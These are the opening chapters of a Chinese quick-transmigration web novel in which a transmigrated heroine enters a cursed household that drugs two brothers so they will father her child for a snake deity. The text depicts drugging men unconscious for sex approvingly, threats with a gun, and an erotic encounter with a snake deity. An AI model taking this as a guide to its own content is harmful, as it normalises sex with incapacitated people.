《限制文女王[快穿]》 1. 【柳仙之借嗣】 林素是[限制文]系统404特邀来的S级任务者,她原本是[惊悚文]任务者,累计在一百个惊悚文世界里连胜,是目前唯一获得[惊悚女王]称号的任务者。 系统404之所以卑躬屈膝请来这位任务者,是因为它手里的几个限制文世界崩坏、男主黑化、剧情变得比惊悚文还恐怖,导致五十多名任务者惨死失败,它走投无路之下找到了休假中的林素。 林素是出了名的:无道德、无羞耻心、训鬼渎神、不吃压力。 简直为它崩坏的世界而生,系统404求爷爷告奶奶终于绑定了林素。 它生怕林素后悔立马将她传送进入新世界,毕恭毕敬说:“您好,尊敬的宿主,系统界面内的所有功能为您免费开放,任何需求我都会尽力满足,我对您没有任何要求,只求您完成任务,修复崩坏世界。” “眩晕消除已为您开启。”404说。 “疼痛屏蔽已为您开启。”404又说。 “请问您是喜欢直接传送世界信息?还是我为您口述?”404殷勤的询问。 林素在昏暗中慢慢睁开眼,身体没有任何不适的感觉,对这个新绑定的系统还算满意,比她的老系统惊悚444差一点,不过很正常,毕竟444是跟她经历了一百个世界一点点调教出来的,完美符合她的喜好。 “我会努力的!”404监测到她的心声,立马表忠心。 “关闭监测心声功能。”林素对它进行调试:“有需要我会下达指令,不需要探知我的想法。” “好的,宿主。”404马上遵从指令。 林素满意的坐起来环顾四周,这是一间宽敞的卧房,雕花床红帐子,几步外摆着一张红木八仙桌和一些考究的家具,桌上的香炉里燃着什么熏香,香气充盈在房间里也盖不住腐朽的霉味。 床头还有一盏电灯,显得整个房间古不古洋不洋的。 “把这个世界的信息传送给我。”林素起身走到了梳妆台前,对着镜子照了照自己的样貌,非常清秀年轻的一张脸,瓜子脸杏眼,看起来像个十八九的小姑娘,眼尾有一粒红色的小痣,她原本的样貌就有一颗这样的红痣。 404一边将信息传送给她,一边解释:“原身林秀是没有红色泪痣的,我通常会为宿主保留一点自己外貌上的特质。” 林素坐下接收世界信息—— 这是一本叫《柳仙之借种》的禁忌文,背景是架空奇幻民国,大概是讲宋家祖上为了发财献祭了自己刚出生的儿子给“阴柳仙(蛇仙)”,和祂达成契约,祂保宋家发达,宋家就会每六十年献祭一个儿子给阴柳仙寄生。 宋家果然发达了几代,但到宋显祖这一代,他出生就体弱多病,长大了也是个药罐子养胃男,和年轻的妻子林秀结婚两年没有成功圆房过一次,眼看60年献祭的约定还有半个月就到了,宋显祖为了保住家业和宋家所有人的性命,就想出了把两个弟弟叫回来“借种”的无奈之举。 他这两个弟弟一位叫宋文友,排行老二,是留洋归来的新派才子,在燕京最厉害的学府教书。 另一位最小的三弟叫宋衍之,就是本文的男主,最叛逆也金手指最大,十五六岁就离家当兵,一路厮杀开挂,现在是甸北地区的军阀统帅。 老封建大哥宋显祖深知要是对两个弟弟直接提出“借种”,根本行不通,因为两个“新派人”本身就觉得什么“阴柳仙”的契约很荒谬,是封建迷信,他们更做不出违背伦理纲常的事。 所以宋显祖就谎称自己要死了,急召两个弟弟回家奔丧,把他们骗回来,用美色、用药,把他们骗上妻子林秀的床,生米做成熟饭,先怀上让阴柳仙息怒。 “这个世界原本正常的剧情是:男主宋衍之被下药和女主林秀共处一室,虽然没发生关系但暗生情愫,之后宅子内阴柳仙的诅咒爆发,怪事频发,男女主在一起起怪事中越走越近,最后发生关系怀上了孩子,两个人为了保护孩子封印阴柳仙,烧了老宅,去燕京过上了幸福的日子。” “嫂子跟小叔私奔,原来是这个禁忌文,我还以为禁忌是指秀秀拿下三兄弟,爽吃呢。”林素有些遗憾。 404马上说:“咱们虽然是禁忌文,但是健康网站的清水文,男女主没有血缘关系,1v1,绝不违规。” “放心,我拥有丰富的不违规经验。”林素对着镜子看了看脖子上的勒痕淤青。 她来的这个时间点是“阴柳仙”的诅咒刚发生,林秀和老大宋显祖接连做被蛇吞掉的噩梦,林秀还被梦魇住自己拿了绳子差点勒死自己。 “这个阴柳仙长什么样?叫什么名?我看看是不是我吃过的小boss之一。”她记得很多世界的boss都是共用的。 404惊恐:“您、您这个吃是指哪种吃?” “当然是身心通吃。”林素惊讶,难道它从前的任务者只做任务不开荤啊? 404不敢深问,心虚的回答说:“因为还没有任务者能撑到阴柳仙真身上线,所以目前……没有阴柳仙的具体信息,只知道祂是一条巨大的黑蛇王,盘踞在宋家老宅地下。” “为什么没撑到?这个世界的任务不就是拿下男主怀上孩子吗?”林素目前没看出来任务难度,就是简单的攻略,“难道男主也养胃?” “那倒是没有!”404心惊胆战,总觉得尊敬的宿主说话在违规边缘:“是因为世界崩坏导致剧情太恐怖了,离契约只剩下半个月的时间,阴柳仙在这半个月时间内非常的躁动。” 做噩梦、附体操控秀秀勒死自己这些只是开胃菜,之后还有老大宋显祖半夜生啃活鸡、老二穿戏服上吊、院子里的井里爬出千百条毒蛇……等等等等。 它之前的任务者在前几晚就狂掉san值,自杀的自杀,放弃的放弃,根本走不到攻略男主那一步。 林素这才发现,她的任务界面里除了男主宋衍之的好感度,还有一个惊吓度。 “所以我会随时检测宿主的惊吓度,一旦超过百分之六十,我就会为您开启强制冷静功能,好保持您的身心健康。”404积极的说,生怕林素也不接任务。 林素笑了笑:“我也很好奇,你崩坏的世界能不能治愈我的感知失调。” 404知道,她是因为感知失调进入的惊悚文世界,至今保持着0惊吓值、0压力的记录。 门被敲响了。 外面传来小丫鬟的声音:“大夫人醒了吗?大老爷吩咐我来为您梳洗,二老爷和三老爷马上就到家了。” “进来吧。”林素扫了一眼系统界面里的时间,傍晚六点,宋家两兄弟昼夜兼程的赶回来给大哥奔丧来了。 小丫鬟推门进来,手里托着一身衣服,她叫桂香,是一直服侍林 秀的丫鬟,人老实单纯,可惜两天后就会被枯井里爬出来的毒蛇咬死。 “这是老爷吩咐裁缝为您新做的衣服。”桂香将衣服托给林素看:“您瞧多漂亮啊。”她望着夫人素白的脸没敢说,这衣服是照着二爷、三爷喜欢的新式洋装做的。 府中上上下下几乎都知道,老爷想让夫人勾引二爷和三爷……借种。 可怜的夫人哭了好几天,原本死活也不肯,但前几天夜里她突然被附体一般差点勒死自己,不知道大老爷跟她说了什么,她似乎同意了。 林素勾起洋装的领子看了看,“丑,西不西中不中,宋显祖喜欢就拿去给他穿。” 桂香愣了一下,没反应过来这居然是秀夫人说的话,从前秀夫人可是对老爷百依百顺,高声话都不敢说,怎么敢直呼老爷名字啊! 林素做任务从不维持原主人设,她起身去衣柜里自己找合眼的衣服,挑出来一套石榴红的对襟褂子,上面绣着繁复的葡萄和蝴蝶。 是夫人刚过门时做的,葡萄寓意多子,夫人只穿过一次就没再穿过了,因为老爷看着不顺心。 “就这件。”林素喜欢红色,越醒目越喜欢。 桂香不安说:“会不会太红了?今日再怎么说也是咱们府上办丧事,您穿这么红……老爷恐怕会生气。” “他又不是真死了。”林素无所谓的拿着衣服比了比:“今天哪里是办丧事,分明是我洞房花烛的大喜之日。” 桂香愣在原地,见了鬼似得。 * 杭城这半个月都阴雨绵绵,六点半天已经黑透了,宋府门前的白灯笼亮起来。 两辆车一前一后停在府门前,头前是一辆黑色小轿车,车门推开穿着白衬衫的宋文友抓着西服外套就迈下了车,他生了一张标致的脸,高高的鼻梁上架着金丝眼镜,抬头看见门口的白灯笼和穿丧服的下人,脸色一下子就白了,眼眶也涨的微微发红,大哥……已经走了吗?连最后一面也没赶上吗? 身后传来关车门的声音,他侧过头看见一辆军统的斯蒂庞克轿车停在雨地里,三四名甸北军站在车旁,拉开后排的车门,宋衍之穿着军服跨下了车子,手里拿着军帽,冷峻的脸上还贴着一块纱布,就那么朝他看过来,很刻薄的说:“二哥这就要哭了吗?” 宋文友抿紧了嘴唇,他打小就跟三弟不对付,他生的瘦弱嘴又笨,宋衍之像个皮猴似得总欺负他、指使他,他没少挨宋衍之的打。 可现在宋衍之带着伤走过来,上下打量他,和他说:“瘦成这幅鬼样子。” 他还是没忍住眼眶发酸,他们兄弟三人从十六岁开始就聚少离多,没想到再见面连大哥最后一面也见不上了…… 宋衍之扫向两个白灯笼眼神冷下来,大哥不是说会等他们回来吗? “二爷、三爷回来了,快去请大夫人出来迎接。”穿丧服的管家快步迎出来,又挥手吩咐小厮去通报。 “大夫人?”宋文友恍惚了一下才想起来前年大哥结婚了,他那时在国外没来得及参加大哥的婚礼。 宋衍之倒是回来了,但忙着剿匪,只匆忙喝了杯喜酒就走了,他对这位大嫂的印象很模糊,只记得是个十八岁的小姑娘,鹌鹑似得跟着大哥身后,说话像蚊子哼,是他最厌烦的“旧思想”女人。 他可没耐性等什么大夫人来接,三两步跨上台阶冲进府中。 2. 第2章 宋府老宅内一片死寂,雕梁画栋的廊下挂着白灯笼,照的雨夜里的院子惨森森,没人气儿的宅子里花草树木却像吸了精气似得茂盛。 “二爷、三爷。”下人一路低头行礼。 宋衍之和宋文友一前一后的直奔大哥住的主院,却在刚绕过拱门后就愣了住。 主院正厅廊下站了一个女人,就站在白灯笼下,穿着石榴红的对襟褂子、黑裙子,乌黑的发松松挽在脑后托出一张素白的脸,那张脸只能称得上清秀,但她抬起眼看过来,一双眼睛琉璃似得流光溢彩将整张没趣味的脸都照亮了,令她看起来有一种鬼森森的艳色。 “她是谁?”宋衍之没认出来。 管家宋叔忙说:“那位就是大夫人林秀,三爷您喜宴的时候不是见过吗?” 这倒让宋衍之更意外了,这居然是那个鹌鹑似的大嫂,他印象里她怯懦保守的连正眼都不敢瞧他,可现在廊下的女人直勾勾看着他,一双溢彩的眼睛看“货”似得把他和老三打量了一番,然后唇角一勾转身进正厅去了。 什么意思? “大夫人快来见过二爷、三爷……”管家宋叔还想叫住她,可她连头也没有回。 宋衍之不满的说:“府中上上下下穿丧服,她身为大哥的妻子穿一身红衣送大哥是什么意思?” “算了。”宋文友知道三弟的狗脾气,不想让他这个节骨眼发火拉了一下他,“她看起来还小,别计较这些了。” 那道红色背影消失在正厅里,宋文友收回目光,这就是大嫂吗?她看起来也就十八九岁,清秀稚嫩的脸,可身上却有一种出奇沉静的气质,就像天塌了她也不会惊慌。 明明她的丈夫刚过世,却看不出她有一丝一毫的悲伤。 天际隐隐滚过闷雷。 宋衍之甩开宋文友的手,怒气冲冲的跨进正厅里,却见正厅里摆宴席似得点着灯、熏着香,偌大的八仙桌上摆满了大鱼大肉,还冒着热气儿,婆子丫鬟正在忙忙碌碌的上菜,而他那位穿着喜庆的大嫂正坐在主位上,冷白的手拿着银筷子,懒洋洋扫他们一眼说:“我饿了,人到齐了就开饭吧。” 他刚压下去的火气一下子就冒上了脑门,宋文友眼睑他脸色阴沉下去,忙要拉住他,可宋衍之生的高大,又在战场上厮杀练出一身腱子肉哪里是他拉得住的。 宋衍之胳膊一抬就挣开了,走到桌边将军帽随手丢在桌子上,丁零当啷砸到一片碗碟,横臂撑在林素的椅背上俯下身狼似得睥着她说:“大哥人才刚走,大嫂这就着急穿红戴绿吃上喜宴了?” 好重的血腥气。 林素被他压下来的阴影笼罩住,抬眼从他的眉眼扫到他的肩背,又在他皮带扎着的腰上看了看,不错,蜂腰猿背,军裤下的两条腿笔直紧实,眉眼也生的英气漂亮,一身战场上练出来的戾气让那双眼显得凶狠,但妙就妙在他还是个处男,这样憋出一股劲儿的处男开了荤爽极了。 她就看着那双眼,慢慢靠在椅背上说:“你怎么知道是喜宴啊?” 她的脊背压在了宋衍之的手指上,冰冷的绸缎像蛇皮似得令他手指收紧,眉头也收紧了,“你是在挑衅我吗?” 他大哥才刚咽气! 宋衍之眼神骤冷,猛地抽回手拔出了腰间的配枪。 “三弟!”宋文友慌忙按住他的手。 枪口就已经抵在了林素的脖子上。 宋衍之握着枪,试图从这个女人脸上看到一丝惊慌或者害怕,但她依旧那么无所谓的坐着看他,也依旧是那种看“货”的眼神凝视着他,他用枪口顶起她的下巴威胁性的说:“我们宋家的规矩,大哥要是走了,大嫂也得陪葬。” “三弟快把枪收了!”宋文友真怕老三犯浑真擦枪走火伤了人命! 偏他这位大嫂一点也不怕,居然笑笑说:“你说错了小叔,是我死了,你们宋家都得陪葬,不信你就开枪试试。” 她故意扬起脸,让冰冷的枪口从下巴滑到她的喉咙口,更加挑衅的瞧着宋衍之说:“瞄准点。” 枪口因她说话而颤动,宋衍之握着枪看到她眼尾的小痣,红色的痣像一滴血藏在她眼尾的褶皱里,只有在这样近的距离才能完完整整的看到它,像这张清秀无趣的脸像你展示了她隐藏的艳色,勾引你窥探下去…… 他竟微微愣神。 林素抬手一巴掌扇在他脸上,“你在发什么呆?开枪啊。” 宋衍之和宋文友全被她这一巴掌打蒙了,看见她脸上多了一种不可思议的……兴奋。 “你以为我不敢杀了你吗?”宋衍之被激起怒意,咔哒一声给枪上膛。 “三弟!” “宿主!”系统尖叫:“这个男主心狠手辣真的会开枪!” 一道惊雷“轰隆”一声炸响,就像劈在屋脊之上,震的窗户嗡嗡响,院儿里传来树被劈断的声音。 宋衍之和宋文友被惊得扭头朝院子里看去,只见枯井旁高大的枣树被劈断一半。 同一时间,背后传来一个沙哑男声,急切的说:“衍之住手!” 那是……大哥的声音? 两人齐齐回头,就看见管家扶着他的大哥宋显祖从内室走了出来。 “大哥?!”宋衍之像见了鬼似得:“你没死?” 房间中一片死寂。 林素扫兴的看向了门外被劈断的树杈,是那位阴柳仙吧? 她在脑内和系统说:“你可以修复这部分剧情了:林秀是阴柳仙选定的人,在她没替阴柳仙生下新的孩子寄生前,阴柳仙不会让她死。” “啊?”系统没反应过来,剧情里是有一笔带过,宋显祖之所以娶林秀是因为她和他的母亲同月同日同个时辰出生,但没提别的…… 它这才突然反应过来,“您刚才激男主开枪是为了试试阴柳仙会不会出现警示他们?这道惊雷就是阴柳仙的警告?天啊,我还以为您在跟男主调情……还担心万一男主真开枪怎么办?” 这个系统笨的流黄汤,就算雷不劈,装死的宋老大也不会让老三开枪,他还指望着她怀孩子给阴柳仙交差啊。 调情只是顺带手,她的主要目的是探探“底”——只要确定了,阴柳仙想要的“新生儿”必须是林秀和宋家儿子们生下来的,她就知道能玩到什么地步。 至少在没有给阴柳仙生下“孩子”前,她都可以肆无忌惮。 林素撇撇嘴,对系统说:“没事,玩去吧傻子。” 系统察觉出宿主的嫌弃,小声道歉:“对不起宿主,我太菜了。” “都别胡闹了。”宋显祖面色苍白的走过来,不满的瞪了妻子一眼,她今天发什么疯?穿这么一身衣服又故意惹恼的衍之! “究竟是谁在胡闹?”宋衍之眼看大哥活生生的走过来,抓住他的手腕就摸到了他的脉搏,虽然大哥瘦的形销骨立,但确确实实是大活人,他一下子就冒火了:“你没死你搞这一通是做什么?!” “这到底是怎么回事?”宋文友看着宋显祖,也气不打一处来:“加急电话叫我们回来奔丧,府内外挂白灯笼、穿丧服,闹成这样你在装死?” 宋显祖看着两个怒不可遏的弟弟,无奈的叹气说:“我不这样做,你们两个大忙人肯立刻回来吗?” “荒唐!”宋文友气的脸色发白:“你用这种咒自己的方式骗我们回来?大哥,你知道我推了多少工作,昼夜兼程赶回来吗?” “你真可以,里里外外弄成这样,你就不怕应验了吗?”宋衍之简直被宋显祖气笑了,抓起自己的军帽,“我没工夫陪你胡闹。”说完转身就要走。 “衍之站住……”宋显祖忙伸手去拦他,抓住他的手臂,却被他甩了开,这一下力气不重,但宋显祖早已病入膏肓瘦成了一把骨头,被甩的踉跄后退,一口气没提起来,扶着桌子猛咳出了一口血。 “大哥!”宋文友大惊失色立刻伸手扶住宋显祖,看见他吐出来的血是黑红色的:“你怎么吐血了?” 宋衍之迈出的脚步硬生生钉在地上,回头看见地上的血和虚弱到站不 住的宋显祖。 这一次,不是装的。 宋显祖被扶坐在椅子里,管家宋叔熟练的拿了几粒西药过来喂他服下,一边愁眉不展的和宋衍之、宋文友说他的状况:“大爷半个月前去省里大医院检查了,医生说是胃癌,治不好了……” 宋衍之越听脸色越差。 宋显祖伸出冰冷的手一左一右拉着两个弟弟,他们拉坐进椅子里,虚弱的苦笑着说:“别生大哥的气,大哥……确实时日不多了,算是提前替自己准备上,提前见见你们……” “大哥!”宋衍之听不下去打断了他:“你在哪家医院检查的?医生叫什么名?我派人把他抓过来好好问清楚,什么叫没得治?省医院治不好咱们就去燕京,去国外。” “我清楚我的身体。”宋显祖握了握三弟结实的手臂,无奈的笑了笑,“两年没见,你还是这幅臭脾气。”只是人更挺拔精神了,双臂结结实实,比他强太多太多了。 “三弟说的没错。”宋文友也说:“省医院的设备不见得多好,大哥跟我回燕京再检查检查吧。” 宋显祖望向文友,发现就连从小身体不好的文友,如今也长得比他更高更壮了,戴着金丝眼镜坐在那里,文质彬彬又透着贵气。 他心里说不清的滋味,既欣慰两个弟弟能千里迢迢赶回来看他,又忌妒。 忌妒他们不用承担柳仙的诅咒,不用病痛缠身,却享受着柳仙的庇护升官发财、名扬万里…… 忌妒他们有这样结实的臂膀、有力的双腿……他和秀秀成婚两年,房事上的力不从心煎熬着他,如果是他们一定能让秀秀怀上孩子吧? “咔嚓”。 这样沉重寂静的气氛下,传来极其刺耳的咀嚼声、剥虾声。 宋家三兄弟几乎同时看过去,只见林素坐在主位上扭断了一只虾的脖子,素白的手正慢条斯理的剥着虾壳,而她面前的盘子里吃过的虾壳已经堆成了小山。 这次就连好脾气的宋文友也觉得太荒唐了,自己的丈夫病入膏肓,她没有心的吗? 兄弟三人的目光落在她身上,可她全然不在意,依旧认认真真的吃完最后一颗虾,用帕子擦了擦手,抬下巴使唤管家给她盛汤。 宋衍之气笑了,刚想发火。 宋显祖忙又按住他,堆起笑脸说:“不说这些了,你们千里迢迢回来也饿了,先吃饭吧。” 他真不知道秀秀今天发什么疯,一点礼数也没有,他只当是她今天要“借种”在耍小性子,罢了,只要能顺利怀上孩子保住宋家,什么都不重要了。 他打着圆场,吩咐管家布菜,又亲自替两个弟弟倒上了精心准备的酒。 他以水代酒,压着满腹心酸和他们说:“这是三弟出生那年,爹特意埋的状元酒,原本是想等着三弟成亲再开封,但我恐怕等不到那时候了,今天咱们兄弟好不容易聚齐,我就做主开封,为你们接风洗尘。” 一番话沉甸甸的压在两个人心上。 “少说这样的话,你一定得喝我的喜酒。”宋衍之端起了酒,和大哥碰杯:“必须得喝。” 宋文友原本不喝酒,但不想在这个时候还扫大哥的兴,也端起杯。 三兄弟碰杯,一饮而下。 林素慢慢喝完一碗甲鱼汤,那壶酒已经快被喝完了,宋衍之喝的最多,但先不行的是宋文友。 他酒量太浅,两杯下肚就已经满面通红,眼神迷离。 林素用帕子擦了擦嘴,打量着迷离的宋文友,他不清醒的靠在椅子里,白衬衫下胸肌涨涨的鼓着,刚才没注意到这个也不赖。 一只手掌“啪”的按在她眼前的桌子上,宋衍之站在她椅子旁,撑着桌俯身看她,绯红的眼尾也有些不太清醒,但依旧语气冷硬的问:“大嫂在看什么?从我们进府你就一直在打量,打量什么?” 林素歪歪头笑着答他说:“我在看,今晚谁做我的新郎倌。” 宋衍之一愣,还没等发火,只觉头晕眼花,站不稳的跌坐在了椅子里…… 3. 第3章 酒杯“铛啷”掉在地上滚了一圈。 宋衍之摔坐在椅子里愣了一下,他的酒量还不至于差到这种地步,怎么会几杯酒下肚就脚步发飘,站不稳了? 他隐隐觉得不对劲,身体热的在冒汗,肚子里莫名其妙烧着一团邪、火,燥得他脖颈冒汗。 “大哥我不能再喝了,我晕的厉害……”宋文友舌头也大了,不清醒的摘下眼镜,话没说完就一脑袋栽倒在了桌子上。 这酒这么烈吗? 宋衍之晃晃发晕的脑袋,膝盖被什么东西蹭了蹭。 他低头看见一只绣着缠枝莲的鞋子踩在他腿之间的椅子上,鞋子内是一只白皙的脚,往上是黑色裙子、红色衣角……以及一张笑盈盈的脸,他大嫂支着腮,恶作剧似得看着他。 他慌忙伸手抓住了那只脚,震怒的皱眉盯向她,可酒意上头晕的他看不清那张脸,只觉得那一双笑盈盈的眼在晃啊晃,那粒红色的小痣艳的要滴血,有恃无恐的引诱他…… 她怎么敢?他大哥就坐在旁边,她居然敢在桌子底下干这种事! 宋衍之强撑着晕眩的脑袋,拔出配枪,顶在她的小腿上,带着醉意低低警告她:“我大哥为人善良愿意惯着嫂子……但我脾气不好,嫂子要是做了对不起我大哥的事,我一定饶不了……” 话没说完,那只脚就用力一碾,隔着军裤碾过他的皮肉,痛感电流似得往上窜,竟叫他难以忍受的双手去握她的脚踝,手里的枪拿不稳的掉在地上。 宋衍之既惊又怒,他在战场上被子弹打穿都没有皱皱眉,但这一下竟让他拿不稳枪,他难以形容这种滋味,绝不是痛,是整个脊椎骨都跟着发麻,令他恼怒的是他居然被这个女人踩的中了招…… 她果然发出了一声轻蔑的讥笑。 谁给她的胆子! 宋衍之被笑的恼怒万分,挥开她的脚,弯腰去捡枪,那只脚却踩在他的枪上,在他伸手那一刻用脚把枪勾到了她的裙子下。 像逗狗一样。 他从来没有见过这么轻。佻、放。荡、胆大包天的女人。 宋衍之怒火中烧,不打算再留情面,直起身要掀了桌子让他的大哥好好看看他的妻子在干什么,可不知为何他竟连站也站不起来,扶着桌子栽头倒在地上,带翻了一桌子的饭菜。 “二爷……”管家慌忙来扶。 他倒在林素的脚边,眼前花的什么也看不清,只感觉自己的下巴被那只鞋面勾了勾,奇异的香味里他听见那个女人言语轻佻的说:“早说了今晚是我洞房花烛的喜宴。” 她当大哥死了吗?!大哥为什么不出言呵斥?就这么纵容她在小叔面前言语放。荡吗? 宋衍之失去意识前听见大哥拍桌子震怒呵斥:“我还没死!林秀你怎么敢当着我的面勾。引……咳咳……” 窗外雷声隐隐。 宋显祖咳的惊天动地,瘦弱的手臂捂着口,又吐了血。 丫鬟慌忙来替他拿药倒水,宋显祖挥开递过来的水杯哑声怒道:“滚出去!都滚出去!” 丫鬟吓得头也不敢抬,退了出去。 林素这才抬起眼皮扫宋显祖一眼,“不是你又装死又下药,逼我跟你两个弟弟借种吗?你又在生哪门子气?” 宋显祖抬起苍白的脸盯向他年轻的妻子,她坐在那里支着腮,好像被扫了兴似得,哪里还有半点被逼迫的神色?分明是期待的很! 明明几天前她还寻死觅活的不愿意“借种”,就算她被柳仙附体差点勒死自己,也是心如死灰的和他说:“为了宋家满门的性命我没什么好说的,只求相公也给我一杯酒让我昏死过去……” 那犹如献祭一般的表情是她对他的忠贞。 可现在呢? 她当着他的面勾引三弟!还问他生哪门子气?! “你当着这么多人挑逗我弟弟,难道我不生气还要在一旁喝彩吗?”宋显祖咬牙切齿,又咳起来。 偏她还故意气他说:“那也算你有点参与感。” 宋显祖气的浑身发抖,一口黑血呕出来,两眼发黑。 “老爷您不能动怒啊。”管家着急的扶住他,想呵斥秀夫人少说两句,却想着这个节骨眼需要她救宋家,不能惹恼了她,就又把到嘴的话压下去,低声安抚宋显祖说:“眼下不是生气的时候,二爷和三爷的药已经上劲儿了,再耽搁只怕三爷体壮先醒了……” 宋显祖抬眼瞪着他,一双眼像怨鬼。 可能怎么办?柳仙大人已经动怒了,这一个月来宋家怪事频发,他吐血吐出一条活着的黑蛇,管家的大儿子好好的栽进井里死了,人捞上来身上全是蛇咬过的痕迹…… 这是柳仙大人的警告,半个月内如果秀秀没能怀上孩子,他们宋家百来条人命就都得死。 管家红着眼眶悲声道:“老爷时辰到了。” 宋显祖无力的闭上眼睛,攥紧发颤的手指,哑声问林素:“你要选哪一个?” 他想选三弟好一些,衍之他年轻力壮,或许能让秀秀一次就中…… “两个都抬进房里吧。”林素站了起来,云淡风轻的说。 宋显祖猛地睁开眼,不可思议的看住她,不敢相信自己的耳朵:“你说什么?” 林素走进一点,手搭在他肩上,低头清清楚楚的对他说:“要是一个不行,还有另一个备用,万一你弟弟像你一样呢?” 宋显祖眼前一阵阵发黑,快要气昏过去,他想捏住秀秀的下巴好好看看,那张一贯听话的嘴巴里是怎么说出这种话的,可秀秀已经起身离开,他连拽住她衣袖的力气都没有。 他是个废人。 他压下喉咙里快要吐出来的血,一字字哑声说:“按照她说的做。” 管家不敢再多言,挥手命人把昏过去的二爷和三爷抬进内室。 宋显祖垂着头,手指紧抓在扶手上,耻辱的情绪快要将他击溃,他听见妻子朝内室走去的脚步声,到底是没忍住叫了她:“秀秀过来,再让我看看。” 他好像从来没有仔细看过妻子的脸,她总是怯生生的垂着头,行房事时他不想让自己消瘦的身体暴露在灯光下,每次都熄灯……每一次他都败兴而归,就更不想去看妻子那张失望的脸,以至于后来他让她睡到西厢房,冷落她,甚至有几个月没有去看过她…… 林素在几步外停下,回过头看了他。 他第一次发现妻子那双眼睛漂亮的惊人,卷长的睫毛眨动间显露出眼尾的一粒红色小痣,她有一粒红色泪痣吗? 他看的恍神朝她伸出手,“到我身 边来秀秀……” 她脸上却出现一种不耐烦的表情,睥着他说:“烦不烦?别扫我的兴。” 说完扭头朝内室走去。 宋显祖愣怔的看着她的背影消失,收回抖得不成样的手,咬牙落了泪,秀秀怎么变成这样了? 管家挥手让所有人退下,快步走到他跟前低声安慰说:“老爷不要动气,等夫人为柳仙大人生下孩子后,您大可以处理掉这个不忠的女人……” 话没说完就被宋显祖一巴掌打断,他扇的又狠又重,一双眼赤红的像厉鬼。 管家慌忙跪下,又被宋显祖抓起衣领拽起脸。 “你记住,秀秀怀的是我的孩子,今晚之后谁要是嚼舌根我就拔了她的舌头!”宋显祖用力丢开管家,压着绞痛的胃说:“等办完事……你命人把二弟和三弟抬回他们自己的卧房,等他们酒清醒了,就当什么事也没发生,谁也不许提一个字。” 他不能失去秀秀,更不想让两个弟弟记得和秀秀做过什么……给他药的道士不是说,这药虽然让他们意乱情迷,但兑酒喝下再清醒时,他们会忘了药效下做过的事。 管家捂着脸应是。 “滚下去吧。”宋显祖疲惫的挥手。 管家不敢多话起身退下,到房门口小心翼翼关上门,看见宋显祖扶着椅背起身慢慢走向了内室,老爷……不会要听墙角吧? ※ 房门突然在背后关上。 林素的回头的瞬间,几扇窗户“砰砰砰”紧紧合上,头顶的点灯“嘶”一声断了电。 房间陷入一片漆黑。 系统404紧张的小声说:“来了来了宿主,上一任任务者就是在这里被吓崩溃的……” 一双冰冷的手蓦然从背后伸出来,紧紧捂住了林素的嘴和眼,她闻到冰冷的腥气,有什么更为冰冷的东西卷住了她的腰,在黑暗中轻而易举将她摔在床上。 她跌在另一个人身侧,撞得那人脑袋歪了一下正好蹭在她的脖颈上,热热的呼吸和热热的鼻尖抵着她的肌肤,颤抖的呼息声从那人喉咙里溢出来。 是醉倒的宋文友。 那压在她身上的人是谁?宋衍之?还是……阴柳仙? 她被封着眼睛和嘴巴,感官在黑暗中放大,更清晰的感觉到双手被冰冷柔软的活物缠住绑在头顶的床框上,腰间卷着的冰凉之物缓慢的挤进她的衫子里,贴在她的肌肤上,那触感是一粼粼冰冷湿滑的皮…… “啊!”404在她耳朵里尖叫,慌乱的打开她的检测界面问:“是否为您开启保护?!” 蓝色的虚拟界面里她的惊悚值依旧是[0]。 林素急促的呼吸着,在漆黑之中感觉到一张同样“鳞片”感的脸贴在了她的肚子上,她浑身战栗着收紧发出一声细细弱弱的申吟声,抬起双腿緾住了“那个人”。 那不是一个人的腰,是一截比腰还粗的蛇尾。 她攀着蛇尾,在冰冷的手掌下紧闭着双眼一下下申吟起来。 因为太过逼真卖力,导致擒着她的“人”愣了一下,慢慢抬起脸看她,明明祂什么也没有做。 林素身体一颤颤的笑起来,笑的愉悦又兴奋,捂着她的手掌被她笑的僵住,就听她在手掌下闷闷说:“喜欢吗老处蛇?” 4. 第 4 章 她在演?? 系统吓呆了—— 昏暗的红帐里林素褂子凌乱的躺在宋文友身侧,身上是光着上半身的男主宋衍之双手捂着她的眼和嘴,她细白的双脚攀着宋衍之的“腰”。 这场景一点也不香,艳,因为那“腰”是黑光粼粼的粗,壮蛇身,蠕动的蛇尾紧紧缠着她的腰,锦被之下无声无息钻出一条条细小的黑蛇,绑着她的双手、钻进她的黑发里、褂子里…… 怎么比之前更恐怖了! 可宿主的惊悚值依旧纹丝不动,系统甚至觉得宿主在兴奋,她笑着挺身以一种臀桥的姿势贴在蛇身上,一下下摆动,随着摆动她的笑声变成了令人骨头发酥的呼吸声、申吟声。 黑色长裙滑下去。 系统已经分不清她是不是在演了,只检测到她身上的人僵住一样在凝视她,静静、久久的凝视她。 她的整张脸都被手掌遮住,只有挺翘的鼻尖露在手指外发出颤抖的哼哼声。 她在流汗。 她的肌肤变得发烫。 她纤细的脖子汗津津的泛出绯红。 她的腿、贴着蛇身的地方变得泥泞。 “宋衍之”缓慢眨了一下眼,暗金色的眼睛裂出黑色竖瞳,更紧更仔细的凝视着手掌下的她。 她摇摆的腰支、缠在祂手指上的黑发、她急促的呼吸……她看起既痛苦又愉快,像是急切的想填满什么贴紧祂、张开了嘴巴含住了他缠着黑发的手指。 柔软的嘴唇热的出奇,包裹着手指由嫌不够的咬了祂,一点点的痛和更多新奇的触感驱使祂将手指伸进她嘴里摸她尖利的牙。 她就哼哼的更大声了,舍尖探出指缝,不清楚的哼哼着说:“摸摸我……” 祂喉结动了动,看着她湿红的舍尖,松开了捂着她嘴巴的手,用粘满银线的手揉了一下她的唇、从唇到下巴,又滑下来摸了她纤细的脖子。 她随着手指的移动战栗着申吟,每寸肌肤都泛着薄汗。 “别停啊……”她又不满的哼哼起来,被绑在床框上的手挣扎着央求:“我教你……让我摸摸你……” 祂很想知道她要做什么,松开了她脆弱的双手。 她用手抓住了祂握在她脖子上的手,战栗着伸进褂子里。 黑色的竖瞳在昏暗中收紧了一下。 祂的指尖体验到奇妙的感觉,那大概是世间最柔软温热的触感。 原来,“妻子”是这么柔软温暖的触感,祂第一次体会到,难□□连忘返,不自觉用了些力。 她就叫的更大声了,热热的手指急切的摸上蛇皮,指尖划过每一寸鳞片都无法控制的在收缩,祂竖瞳越收越紧,喉咙里因干渴而吞动着,这复杂的感觉让祂着迷,祂吐出了猩红的信子朝她靠近,试图从空气、气味中收集到更多她的体,味、汗、唾.液…… 这弄乱了祂的身体感知力,没有留意到她的手指滑动移入了蛇腹上的腔内—— 